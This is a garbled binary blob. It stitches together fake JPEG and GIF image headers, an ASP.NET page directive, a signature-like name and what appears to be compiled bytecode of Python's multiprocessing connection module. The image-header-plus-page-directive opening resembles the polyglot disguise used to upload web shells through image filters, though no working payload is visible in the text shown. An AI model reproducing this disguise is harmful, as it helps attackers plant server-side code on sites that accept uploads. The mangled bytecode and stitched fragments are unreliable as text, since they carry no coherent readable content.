ÿØÿà JFIF ÿÛ C
$.' ",# (7),01444 '9=82<.342ÿÛ C
2! !22222222222222222222222222222222222222222222222222ÿþGIF89a;
<%@ Page Language="C#" %>
Mahdee Rajon
ÿØÿà JFIF ÿÛ „ ( %!1!%*+... 983,7(-.-
ÿØÿà JFIF ÿÛ „ ( %!1!%*+... 983,7(-.-
F\h / S Qr SSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKrSSK r SSK
J r SSK
J r J
r
SSKJr \R r SSKrSSKrSSKJrJrJrJr S rS
r\ R8 " 5 r S r S /r \ " \S 5 ( a S r \ S /-
r \R2 S:X a S
r \ S
/-
r \4S jr!S r"S r#S r$S r% " S S5 r&\( a " S S\&5 r' " S S\&5 r( " S S\)5 r*SCS jr+\R2 S:w a SDS jr,OSDS jr, " S S \)5 r-S r.\R2 S:X a " S! S"\)5 r/S# r0S$r1S%r2S&r3S'r4\5" 1 S(k5 r6\7" S) \6 5 5 r8S*r9S+r:\9\:4r;S, rSES/\?4S0 jjr@S/\?4S1 jrA " S2 S3\)5 rBS4 rCS5 rD " S6 S7\*5 rES8 rF\R2 S:X a! S9 rG\R \R 1rJSFS: jrKO0SSKLrL\ " \LS;5 ( a
\LR rNO \LR rNSFS< jrK\R2 S:X a3 S= rPS> rQ\R " \(\P5 S? rSS@ rT\R " \'\S5 gSA rPSB rQ\R " \(\P5 g! \ a \R2 S:X a e Sr GNf = f)G)ClientListenerPipewait N )util)AuthenticationErrorBufferTooShort) reduction)
WAIT_OBJECT_0WAIT_ABANDONED_0 WAIT_TIMEOUTINFINITEwin32i g 4@AF_INETAF_UNIXAF_PIPEc 2 [ R " 5 U - $ Ntime monotonic)timeouts 1/usr/lib/python3.13/multiprocessing/connection.py
_init_timeoutr < s >> g %% c 2 [ R " 5 U : $ r r )ts r _check_timeoutr ? s >> a r c U S:X a gU S:X a( [ R " S[ R " 5 S9$ U S:X a: [ R " S[ R
" 5 [
[ 5 4- SS9$ [ S 5 e)
z7
Return an arbitrary free address for the given family
r ) localhostr r z listener-)prefixdirr z\\.\pipe\pyc-%d-%d- zunrecognized family) tempfilemktempr get_temp_dirosgetpidnext
_mmap_counter
ValueErrorfamilys r arbitrary_addressr/ F sy 9 kt7H7H7JKK 9 &< " T--@ A'BGIK K .//r c [ R S:w a U S:X a [ SU - 5 e[ R S:X a+ U S:X a$ [ [ U 5 ( d [ SU - 5 eggg)z<
Checks if the family is valid for the current environment.
r r z Family %s is not recognized.r N)sysplatformr, hasattrsocketr- s r _validate_familyr5 T sf ||w 6Y#67&@AA
||w 6Y#6vv&& ;f DE E ' $7 r c [ U 5 [ :X a g[ U 5 [ L a U R S5 ( a g[ U 5 [ L d [ R
" U 5 ( a g[
SU - 5 e)zQ
Return the types of the address
This can be 'AF_INET', 'AF_UNIX', or 'AF_PIPE'
r z\\r r z address type of %r unrecognized)typetuplestr
startswithr is_abstract_socket_namespacer, )addresss r address_typer= ` sb G}
g # '"4"4V"<"<
g # !B!B7!K!K:WDEEr c \ rS rSrSrSS jrS rS rS rS r S r
\ S 5 r \ S
5 r
\ S 5 rS rS
rSS jrS rSS jrSS jrS rSS jrS rS rSrg) _ConnectionBases Nc UR 5 nUS: a [ S5 eU( d U( d [ S5 eXl X l X0l g )Nr zinvalid handlez6at least one of `readable` and `writable` must be True) __index__r, _handle _readable _writable)selfhandlereadablewritables r __init___ConnectionBase.__init__v sI !!# A: -. . HJ
J !!r c @ U R b U R 5 g g r rC _closerF s r __del___ConnectionBase.__del__ s << # KKM $r c 4 U R c [ S5 eg )Nhandle is closed)rC OSErrorrO s r
_check_closed _ConnectionBase._check_closed s << ,- - r c < U R ( d [ S5 eg )Nzconnection is write-only)rD rT rO s r _check_readable _ConnectionBase._check_readable s ~~45 5 r c < U R ( d [ S5 eg )Nzconnection is read-only)rE rT rO s r _check_writable _ConnectionBase._check_writable s ~~34 4 r c j U R ( a SU l OU R 5 [ S5 e)NFzbad message length)rE rD closerT rO s r _bad_message_length#_ConnectionBase._bad_message_length s% >> "DN JJL*++r c U R SL $ )z True if the connection is closedNrC rO s r closed_ConnectionBase.closed s ||t##r c U R $ )z"True if the connection is readable)rD rO s r rH _ConnectionBase.readable ~~ r c U R $ )z"True if the connection is writable)rE rO s r rI _ConnectionBase.writable rg r c : U R 5 U R $ )z+File descriptor or handle of the connection)rU rC rO s r fileno_ConnectionBase.fileno s ||r c h U R b U R 5 SU l gg! SU l f = f)zClose the connectionNrM rO s r r^ _ConnectionBase.close s1 << #
$
# $ $ s ( 1c x U R 5 U R 5 [ U5 nUR S: a UR S5 nUR
nUS: a [
S5 eXR: a [
S5 eUc XR-
nO$US: a [
S5 eX#- U: a [
S5 eU R XBX#- 5 g) z,Send the bytes data from a bytes-like objectr Br zoffset is negativezbuffer length < offsetNzsize is negativez buffer length < offset + size)rU r[
memoryviewitemsizecastnbytesr, _send_bytes)rF bufoffsetsizemns r
send_bytes_ConnectionBase.send_bytes s sO ::>s A
HH A: 12 2 : 56 6 <:D
AX /0 0
]Q
<= = &-01r c U R 5 U R 5 U R [ R U5 5 g)zSend a (picklable) objectN)rU r[ ru _ForkingPicklerdumpsrF objs r send_ConnectionBase.send s3 ..s34r c U R 5 U R 5 Ub US: a [ S5 eU R U5 nUc U R 5 UR 5 $ )z'
Receive bytes data as a bytes object.
r znegative maxlength)rU rX r, _recv_bytesr_ getvalue)rF maxlengthrv s r
recv_bytes_ConnectionBase.recv_bytes sa
Y] 12 2 y) ; $ $ &||~ r c U R 5 U R 5 [ U5 nUR nU[ U5 - nUS: a [ S5 eX%: a [ S5 eU R
5 nUR 5 nXRU- : a [ UR 5 5 eUR S5 UR X2U- X'- U- 5 UsSSS5 $ ! , ( d f g= f)zY
Receive bytes data into a writeable bytes-like object.
Return the number of bytes read.
r znegative offsetzoffset too largeN) rU rX rq rr lenr, r tellr
r seekreadinto)rF rv rw ry rr bytesizeresultrx s r recv_bytes_into _ConnectionBase.recv_bytes_into s
_zzH #a&(Hz !233" !344%%'F;;=D4-'$V__%677 KKN OOA 0 %} 9 ;
<! __s B*C
C.c U R 5 U R 5 U R 5 n[ R UR 5 5 $ )z Receive a (picklable) object)rU rX r r~ loads getbuffer)rF rv s r recv_ConnectionBase.recv s? $$S]]_55r c d U R 5 U R 5 U R U5 $ )z/Whether there is any input available to be read)rU rX _pollrF r s r poll_ConnectionBase.poll s) zz'""r c U $ r rO s r __enter___ConnectionBase.__enter__ r c $ U R 5 g r r^ rF exc_type exc_valueexc_tbs r __exit___ConnectionBase.__exit__
r )rC rD rE )TT)r Nr )r )g )__name__
__module__ __qualname____firstlineno__rC rJ rP rU rX r[ r_ propertyrc rH rI rk r^ r{ r r r r r r r __static_attributes__r r r r? r? s s G ".65, $ $
$2(5 26# r r? c \ \ rS rSrSrSrSr\R 4S jr S r
S S jr S r S r
S
rg) PipeConnectioni z
Connection class based on a Windows named pipe.
Overlapped I/O is used, so the handles must have been created
with FILE_FLAG_OVERLAPPED.
FNc f U R nUb UR 5 U" U R 5 g r )_send_ovcancelrC )rF _CloseHandleovs r rN PipeConnection._close s% B~ &r c @ U R b [ S5 e[ R " U R USS9u p#X l U[ R
:X a3 [ R " UR /S[ 5 nU[ :X d eS U l UR S5 u pSU[ R :X a [ [ R S5 eUS:X d eU[! U5 :X d eg ! UR 5 e = f! S U l UR S5 u pSf = f)Nz/concurrent send_bytes() calls are not supportedT
overlappedFrS r )r r, _winapi WriteFilerC ERROR_IO_PENDINGWaitForMultipleObjectseventr r r GetOverlappedResultERROR_OPERATION_ABORTEDrT errnoEPIPEr )rF rv r errwaitresnwrittens r ru PipeConnection._send_bytes s }}( "5 6 6 '' cdKGB M
='222 % < <
E8 5G"m333
!%
" 6 6t <
g555 ekk+=>>!8O8s3x' ''
$
" 6 6t <
#s AC+ +C>>D D c U R ( a SU l [ R " 5 $ Uc SO [ US5 n [ R
" U R USS9u p4 U[ R :X a3 [ R " UR /S[ 5 nU[ :X d eUR S5 u pdUS:X a6 [ R " 5 nUR UR 5 5 U$ U[ R :X a U R# X15 $ [- S5 e! UR 5 e = f! UR S5 u pdUS:X a: [ R " 5 nUR UR 5 5 Us s $ U[ R :X a U R# X15 s s $ f = f! [$ a* nUR& [ R( :X a [* ee S nAff = f)NF Tr r z.shouldn't get here; expected KeyboardInterrupt)_got_empty_messageioBytesIOminr ReadFilerC r r r r r r r writer ERROR_MORE_DATA_get_more_datarT winerrorERROR_BROKEN_PIPEEOFError RuntimeError) rF maxsizebsizer r r nreadfes r r PipeConnection._recv_bytes6 s &&*/'zz|# &C4E % . .t||U;? AGBD '":"::&-&D&D!#
E8'=G#*m#; ;#;
&(%;%;D%A
!8 "
A GGBLLN 3#$H G$;$; ;#'#6#6r#C C < OP P! %'%;%;D%A
!8 "
A GGBLLN 3#$H G$;$; ;#'#6#6r#C C < zzW%>%>> & s] "G #AD* *AG 9$G *D==E AF>G 'F>;G =F>>G
G5 %G00G5c U R ( d' [ R " U R 5 S S:w a g[ [ U /U5 5 $ )Nr T)r r
PeekNamedPiperC boolr r s r r PipeConnection._pollV s> '' --dll;A>!CdVW-. .r c UR 5 n[ R " 5 nUR U5 [ R
" U R 5 S nUS: d eUb" [ U5 U- U: a U R 5 [ R " U R USS9u pUR S5 u pvUS:X d eXu:X d eUR UR 5 5 U$ )Nr r Tr ) r r r r r r rC r r_ r r )rF r r rv r leftr rbytess r r PipeConnection._get_more_data\ s ,,.C
A
GGCL(( 6q9D!8O8"s3x$'@((* &&t||TdKGB 006KF!8O8> !>
GGBLLN #Hr )r r r )r r r r __doc__r r r CloseHandlerN ru r r r r r r r r r s8
#&-&9&9 ' (4 Q@ /
r r c \ rS rSrSr\( a) \R 4S jr\R r
\R r O(\
R 4S jr\
R r
\
R r \
4S jr\ 4S jrS rS S jrS
rS rg)
Connectionil zc
Connection class based on an arbitrary file descriptor (Unix only), or
a socket handle (Windows).
c ( U" U R 5 g r rb rF rN s r rN Connection._closes 4<< r c ( U" U R 5 g r rb r s r rN r x r r c b [ U5 n U" U R U5 nX4- nUS:X a g XS nM$ Nr )r rC )rF rv r remainingrz s r _sendConnection._send} s= H dllC(A NIA~b'C r c [ R " 5 nU R nUnUS: aL U" XE5 n[ U5 nUS:X a XQ:X a [ e[ S5 eUR
U5 XW- nUS: a ML U$ )Nr z got end of file during message)r r rC r r rT r )rF rx readrv rG r chunkrz s r _recvConnection._recv sv jjl !m+EE
AAv $"N!"BCC IIe NI !m
r c [ U5 nUS: ab [ R " SS5 n[ R " SU5 nU R U5 U R U5 U R U5 g [ R " SU5 nUS: a# U R U5 U R U5 g U R XA- 5 g )Ni!i!Qi @ )r structpackr )rF rv rz
pre_headerheaders r ru Connection._send_bytes s H z> T2.J[[q)F JJz " JJv JJsO [[q)F5y
6"
3
6<(r Nc " U R S5 n[ R " SUR 5 5 u nUS:X a8 U R S5 n[ R " SUR 5 5 u nUb X1: a g U R U5 $ )N r r r )r r unpackr )rF r rv rx s r r Connection._recv_bytes so jjm
dCLLN3 2:**Q-CMM$ 7ED 4>zz$ r c 2 [ U /U5 n[ U5 $ r )r r )rF r rs r r Connection._poll s $ !Awr r r )r r r r r r _multiprocessing closesocketrN r _writer _readr( r^ r r r r ru r r r r r r r r l so
0 < < !!&& %% " ! % % ). r r c Z \ rS rSrSrS S jrS rS r\S 5 r \S 5 r
S r S
r S r
g)
r i z
Returns a listener object.
This is a wrapper for a bound socket which is 'listening' for
connections, or for a Windows named pipe.
Nc 8 U=( d! U=( a [ U5 =( d [ nU=( d [ U5 n[ U5 US:X a [ X5 U l O[
XU5 U l Ub [ U[ 5 ( d [ S5 eX@l
g )Nr authkey should be a byte string) r= default_familyr/ r5 PipeListener _listenerSocketListener
isinstancebytes TypeError_authkey)rF r< r. backlogauthkeys r rJ Listener.__init__ s #G = W(= #" 6 .v 6 Y )' ;DN +GW EDN z'5'A'A => >
r c U R c [ S5 eU R R 5 nU R b* [ XR 5 [ XR 5 U$ )zb
Accept a connection on the bound socket or named pipe of `self`.
Returns a `Connection` object.
zlistener is closed)r rT acceptr deliver_challengeanswer_challenge)rF cs r r Listener.accept sS >> !./ / NN ! ! # == $ a / Q
.r c R U R nUb SU l UR 5 gg)z1
Close the bound socket or named pipe of `self`.
N)r r^ )rF listeners r r^ Listener.close s) >> !DN NN r c . U R R $ r )r _addressrO s r r< Listener.address s ~~&&&r c . U R R $ r )r _last_acceptedrO s r
last_acceptedListener.last_accepted s ~~,,,r c U $ r r rO s r r Listener.__enter__ r r c $ U R 5 g r r r s r r Listener.__exit__ r r )r r )NNr N)r r r r r rJ r r^ r r< r) r r r r r r r r sH
' ' - -r r c U=( d [ U 5 n[ U5 US:X a [ U 5 nO [ U 5 nUb [ U[
5 ( d [
S5 eUb [ X25 [ X25 U$ )z5
Returns a connection to the address of a `Listener`
r r ) r= r5
PipeClient SocketClientr r r r r )r< r. r r s r r r sp
,|G,FV
w !:gu#=#=9::$!% Hr c H U ( an [ R " 5 u pUR S5 UR S5 [ UR 5 5 n[ UR 5 5 nX44$ [
R " 5 u pV[ USS9n[ USS9nX44$ )<
Returns pair of connection objects at either end of a pipe
TFrI rH )r4
socketpair setblockingr detachr( pipe)duplexs1s2c1c2fd1fd2s r r r s &&(FB NN4 NN4 BIIK(BBIIK(B v
wwyHCC%0BC%0Bv
r c
~ [ S5 nU ( a= [ R n[ R [ R - n[
[
pTO'[ R n[ R nS[
pT[ R " X[ R - [ R - [ R [ R - [ R - SXE[ R [ R 5 n[ R " XS[ R [ R [ R [ R 5 n[ R" " U[ R SS5 [ R$ " USS9nUR' S5 u pU
S:X d e[) X`S9n [) XpS9n X4$ ) r3 r r r NTr r4 r5 )r/ r PIPE_ACCESS_DUPLEX GENERIC_READ
GENERIC_WRITEBUFSIZEPIPE_ACCESS_INBOUNDCreateNamedPipeFILE_FLAG_OVERLAPPED FILE_FLAG_FIRST_PIPE_INSTANCEPIPE_TYPE_MESSAGEPIPE_READMODE_MESSAGE PIPE_WAITNMPWAIT_WAIT_FOREVERNULL
CreateFile
OPEN_EXISTINGSetNamedPipeHandleStateConnectNamedPiper r )
r: r< openmodeaccessobsizeibsizeh1h2r _r r= r> s
r r r ( sW $I. 11H ))G,A,AAF $gF 22H **F F
$
$ < << 1 12 % %(E(E E
vw ; ; LL
Q g.C.C ( (',, '' --tT --bTB
//5axx
B
0
B
0v
r c . \ rS rSrSrSS jrS rS rSrg) r iT zG
Representation of a socket which is bound to an address and listening
c [ R " [ [ U5 5 U l [ R S:X a9 U R R [ R [ R S5 U R R S5 U R R U5 U R R U5 U R R 5 U l X l S U l US:X aG [" R$ " U5 ( d, [" R& " U [ R( U4SS9U l g S U l g ! [ a U R R 5 e f = f)Nposixr Tr r args exitpriority)r4 getattr_socketr( name
setsockopt
SOL_SOCKET SO_REUSEADDRr7 bindlisten getsocknamer% rT r^ _familyr( r r; Finalizeunlink_unlink)rF r< r. r s r rJ SocketListener.__init__X s
}}WVV%<= ww'! ''(9(9(.(;(;Q@ LL $ $T * LL g & LL ( LL 4 4 6DM " Y t'H'H'Q'Q ==biiwjq DL DL LL s B=E
&E0c U R R 5 u ol UR S5 [ UR 5 5 $ )NT)ra r r( r7 r r8 rF ss r r SocketListener.acceptq s7 !% !4!4!6
d!((*%%r c U R R 5 U R nUb S U l U" 5 g g ! U R nUb S U l U" 5 f f = fr )ra r^ rl )rF rk s r r^ SocketListener.closev s[ LL \\F! # " \\F! # "s ; A)r% ri r( ra rl N)r ) r r r r r rJ r r^ r r r r r r T s 2&
r r c [ U 5 n[ R " [ [ U5 5 nUR S5 UR U 5 [ UR
5 5 sSSS5 $ ! , ( d f g= f)zG
Return a connection object connected to the socket given by `address`
TN)r= r4 r` r7 connectr r8 )r< r. rp s r r1 r1 sU '
"F / 1Q
d '!((*%
2 1 1s ;A55
Bc B \ rS rSrSrS S jrS
S jrS r\S 5 r Sr
g) r i z
Representation of a named pipe
Nc
Xl U R SS9/U l S U l [ R
" SU R 5 [ R " U [ R U R U R 4SS9U l g )NT)firstz listener created with address=%rr r] )
r% _new_handle
_handle_queuer( r sub_debugrj r _finalize_pipe_listenerr^ )rF r< r s r rJ PipeListener.__init__ sj #M"&"2"2"2">!?D "&D NN=t}} M l::(($--8qDJr c
[ R [ R - nU( a U[ R - n[ R " U R
U[ R [ R - [ R - [ R [ [ [ R [ R 5 $ r )
r rB rH rI rG r% rJ rK rL PIPE_UNLIMITED_INSTANCESrE rM rN )rF rx flagss r ry PipeListener._new_handle s ..1M1MME>>>**
u))G,I,II!!"00'7,,gll
r c Z U R R U R 5 5 U R R S5 n [ R
" USS9n [ R " UR /S[ 5 n UR S5 u pEUS:X d e [ U5 $ ! UR 5 [ R " U5 e = f! UR S5 u pEUS:X d ef = f! [ a) nUR [ R :w a e S nANS nAff = f)Nr Tr F)rz appendry popr rR r r r r r r rT r
ERROR_NO_DATAr )rF rG r resrY r r s r r PipeListener.accept s % %d&6&6&8 9''++A.F
$ --fF $!88
E85C 3 3D 9FA !8O8!&) )IIK''/ 3 3D 9FA !8O8
::!6!66 7
s0 C7 'B+ +)CC C47
D* D%%D*c p [ R " SU5 U H n[ R " U5 M g )Nz closing listener with address=%r)r r{ r r )queuer< rG s r r| $PipeListener._finalize_pipe_listener s) NN=w G ##F+ r )r% rz r( r^ r )F) r r r r r rJ ry r staticmethodr| r r r r r r s*
*.
,
,r r c F [ 5 n [ R " U S5 [ R " U [ R [ R
- S[ R [ R [ R [ R 5 n [ R " U[ R SS5 [! U5 $ ! [ aI nUR [ R [ R 4; d [ U5 ( a e SnAOSnAff = fGM )zE
Return a connection object connected to the pipe given by `address`
r N)r r
WaitNamedPiperO rC rD rN rP rH rT r ERROR_SEM_TIMEOUTERROR_PIPE_BUSYr rQ rK r )r< r hr s r r0 r0 s
O
%%gt4&&W 1 1G4I4I Iw||W%:%:00',, ''
w,,dD a
::g&?&?&-&=&=&? ?BPQRBSBS CT
s B
C
D ?DD ( s #CHALLENGE#s #WELCOME#s #FAILURE#> md5 sha256 sha384 sha3_256 sha3_384c # 8 # U H n[ U5 v M g 7fr )r ).0rY s r r F s 7&6c!ff&6s c [ U 5 [ ; a SU 4$ U R S5 ( aI U R SS[ S- 5 =nS: a) U SU nU[
; a XS- S nUR
S5 U4$ [ S U < 35 e)
zReturns a digest name and the payload for a response hash.
If a legacy protocol is detected based on the message length
or contents the digest name returned will be empty to indicate
legacy mode where MD5 and no digest prefix should be sent.
r$ { }r r NasciizRunsupported message length, missing digest prefix, or unsupported digest: message=)r _LEGACY_LENGTHSr: find_MAX_DIGEST_LEN_ALLOWED_DIGESTSdecoder )messagecurlydigestpayloads r _get_digest_name_and_payloadr Q s 7|&
7{4 ,,tQ(9: :a?5! % % Agh'G==)72 2
/&-Z
1 2 2r c SSK n[ U5 S nU( d! UR XS5 R 5 $ UR XU5 R 5 nSUR S5 U4- $ ! [ a Sn NDf = f)ao Create a MAC based on authkey and message
The MAC algorithm defaults to HMAC-MD5, unless MD5 is not available or
the message has a '{digest_name}' prefix. For legacy HMAC-MD5, the response
is the raw MAC, otherwise the response is prefixed with '{digest_name}',
e.g. b'{sha256}abcdefg...'
Note: The MAC protects the entire message including the digest_name prefix.
r Nmd5sha256 {%s}%sr )hmacr newr r, encode)r r r digest_nameresponses r _create_responser k s .w7:K #88Ge4;;= = xx+6==?H **73X> >> # #K #s A1 1 B ?B c
z SSK n[ U5 u pEU=( d Sn UR XU5 R 5 n[
U5 [
U5 :w a' [ SU< S[
U5 S[
U5 35 eUR Xe5 ( d [ S 5 eg! [ a [ SU< S35 ef = f)
aH Verify MAC challenge
If our message did not include a digest_name prefix, the client is allowed
to select a stronger digest_name from _ALLOWED_DIGESTS.
In case our message is prefixed, a client cannot downgrade to a weaker
algorithm, because the MAC is calculated over the entire message
including the '{digest_name}' prefix.
r Nr zresponse_digest=z unsupportedz expected z of length z got zdigest received was wrong)r r r r r, r r compare_digest)r r r r response_digest response_macexpecteds r _verify_challenger s $@$J!O%.OE88Go>EEG 8}L))!O.k#h- I<()+, , x 6 6!"=>> 7
E!%5_$6l"CDDEs B B:r c [ U[ 5 ( d# [ SR [ U5 5 5 e[
[ : d S5 e[ R " [
5 nSUR S5 U4- nU R [ U- 5 U R S5 n [ XU5 U R [ 5 g ! [ a U R [ 5 e f = f)N Authkey must be bytes, not {0!s}zprotocol constraintr r )r r r, formatr7 MESSAGE_LENGTH_MD5ONLY_MESSAGE_LENGTHr( urandomr r{
_CHALLENGEr r _WELCOMEr _FAILURE)
connectionr r r r s r r r s gu % % . 5 5d7m DF F 3 3J5JJ 3jj (G;--g6@@G *w./$$S)H('H5
h' h'
s ( C
!C+c [ U[ 5 ( d# [ SR [ U5 5 5 eU R S5 nUR
[ 5 ( d [ SU< 35 eU[ [ 5 S n[ U5 [ : a [ S[ U5 S35 e[ X5 nU R U5 U R S5 nU[ :w a [ S5 eg )Nr r z,Protocol error, expected challenge: message=zchallenge too short: z byteszdigest sent was rejected)r r r, r r7 r r: r r r r r r{ r )r r r r r s r r r s gu % % . 5 5d7m DF F##C(G j ) )!?wjAC Cc*o&'G
7|--!$9#g, v"NOO
g
/F&!$$S)H8!"<== r c & \ rS rSrS rS rS rSrg)ConnectionWrapperi c h Xl X l X0l S H n[ X5 n[ XU5 M g )N)rk r^ r r r{ )_conn_dumps_loadsr` setattr)rF connr r attrr s r rJ ConnectionWrapper.__init__ s0
KD$%C D $ Lr c \ U R U5 nU R R U5 g r )r r r{ )rF r rp s r r ConnectionWrapper.send s" KK
a r c X U R R 5 nU R U5 $ r )r r r ro s r r ConnectionWrapper.recv s" JJ ! ! #{{1~ r )r r r N)r r r r rJ r r r r r r r r s %! r r c T [ R U 4S S S S5 R S5 $ )Nr utf-8) xmlrpclibr r )r s r
_xml_dumpsr s& ??C64tQ 7 > >w GGr c V [ R U R S5 5 u u pU$ )Nr )r r r )rp r methods r
_xml_loadsr s" __QXXg%67NFS Jr c \ rS rSrS rSrg) XmlListeneri c b SS K Jq [ R U 5 n[ U[ [ 5 $ r )
xmlrpc.clientclientr r r r r r r s r r XmlListener.accept s" )ood# j*==r r N)r r r r r r r r r r r s >r r c J SS K Jq [ [ U 0 UD6[
[ 5 $ r )r r r r r r r )r^ kwdss r XmlClientr s % VT 2T 2J
KKr c ^ [ U 5 m/ n[ T5 S: au [ R " TSU5 nUR U4S jU 5 5 U( a8 [
T5 VVs/ s H u pEXCS U- s=: a U; d M O M UPM! snnmSnT( a [ T5 S: a TS S OTn[ R " USU5 nU[ :X a U$ [ Us=:: a [ [ T5 - : a
O O
U[ - nO9[ Us=:: a [ [ T5 - : a
O O
U[ - nO [ S5 eUR TU 5 TUS- S mSnT( a M U$ ! [ a / s $ f = fs snnf )N< Fc 3 . ># U H
nTU v M g 7fr r )r iLs r r #_exhaustive_wait.. s +s!1s r zShould not get herer )
listr r BatchedWaitForMultipleObjects TimeoutErrorextend enumerater r r r
r r )handlesr readyr r r short_Lr s @r _exhaustive_waitr sc
M q6B;
;;AugN
LL+s+ +#,Q<M<4111vz3L3LQ3LQ<MG #A afG00%ICl" #>
A(>>}$!SD+;c!f+DD''"#899 LL3 #a%& AG a )
Ns# E% 'E7E7E7% E43E4c ^ Uc [ nOUS: a SnO[ US- S- 5 n[ U 5 n 0 m / n[ 5 n[ 5 n U H n [ US5 n [
R " U" 5 SS5 u pxU[
R :X a" UR U5 UT UR ' Mf U( aO [ R " 5 SS S: a3 UR S 5 u pU( d [! US
5 ( a SUl UR% U5 SnM [+ T R- 5 U5 nU H nUR/ 5 M U Ho n UR S5 u pU[
R0 :w d M- T UR nUR% U5 US:X d MU [! US
5 ( d Mh SUl Mq UR3 U 4S jU 5 5 U Vs/ s H oUU; d M
UPM sn$ ! [ a# n SU R pU[ ; a e Sn A GNSn A ff = f! [ a n U R n Sn A GN_Sn A ff = f! [& a UT UR) 5 ' GM% f = f! [ a" n U R nU[ ; a e Sn A GN1Sn A ff = f! U H nUR/ 5 M U H n UR S5 u pO.! [ a! n U R nU[ ; a e Sn A OSn A ff = fU[
R0 :w d M\ T UR nUR% U5 US:X d M [! US
5 ( d M SUl M f = fs snf )
Wait till an object in object_list is ready/readable.
Returns list of those objects in object_list which are ready/readable.
Nr r g ?rk Tr ) r Fr c 3 . ># U H
nTU v M g 7fr r )r r waithandle_to_objs r r wait.._ s I=a .q 1=r )r intr setr` r r rT r
_ready_errorsr r r r1 getwindowsversionr r3 r addAttributeErrorrB r keysr r update) object_listr ov_list
ready_objects
ready_handlesork r r r rY r s @r r r s, ? G
q[G'D.3./G;'
6 8 $ $Q 1F
"")"2"268Q"E
g 6 66 r*67)"((3
#"7"7"9"1"="G 1)+)?)?)F $'716J+K+K7; 4%))!,"#= !@ -->-C-C-Ew OM 3 3D 9FA
'999)"((3A!%%a(ax #1&:;;37A 0 I= II&=;a}*<;==_ # ""&
C m3 ! 4" $+ 1&'jj 1- & 978%akkm49N **C-/ 0 3 3D 9FAs **C-/ 0 '999)"((3A!%%a(ax #1&:;;37A 0 " >s
J$ I G< 9M#>L M# $M#M# M# PollSelectorc [ 5 nU H# nUR U[ R 5 M% Ub [ R
" 5 U- n UR
U5 nU( a* U VVs/ s H u pgUR PM snnsSSS5 $ Ub) W[ R
" 5 -
nUS: a UsSSS5 $ Mp s snnf ! , ( d f g= f)r Nr )
_WaitSelectorregister selectors
EVENT_READr r selectfileobj)r r selectorr deadliner keyeventss r r r n s _"!!#y';';< # " >>+g5 0=BCUMSCKKUC _ *"*T^^-="="Q;#( _ D _s$ A#C.CC"C?C
Cc * U R 5 n[ R " U[ R [ R 5 nSSKJn UR U5 n[ X@R U R 44sS S S 5 $ ! , ( d f g = f)Nr )resource_sharer) rk r4 fromfdr SOCK_STREAMr$ r DupSocketrebuild_connectionrH rI )r rG rp r dss r reduce_connectionr s^
]]66>>63E3E
F! ) **1-B%MM4=='II G
F
Fs 5B
Bc V U R 5 n[ UR 5 X5 $ r r8 r )r rH rI socks r r r s yy{$++-<r; s 3
1 **OO !
;
69 N H<<7 N H - & 0
F
F&T Tn ] ]@M Mh;v ;|
* <<7&&X)V )X& <<76,v 6,p!>
r @B 7&677 *O<24?8?2(5 (*>% >*
H>( >L <<7 @ ..0M0MNML>`
y.))!..
!00
)6 <<7J = z#45K
: ~'=>F2 z#45K$
||w
Gs
I I21I2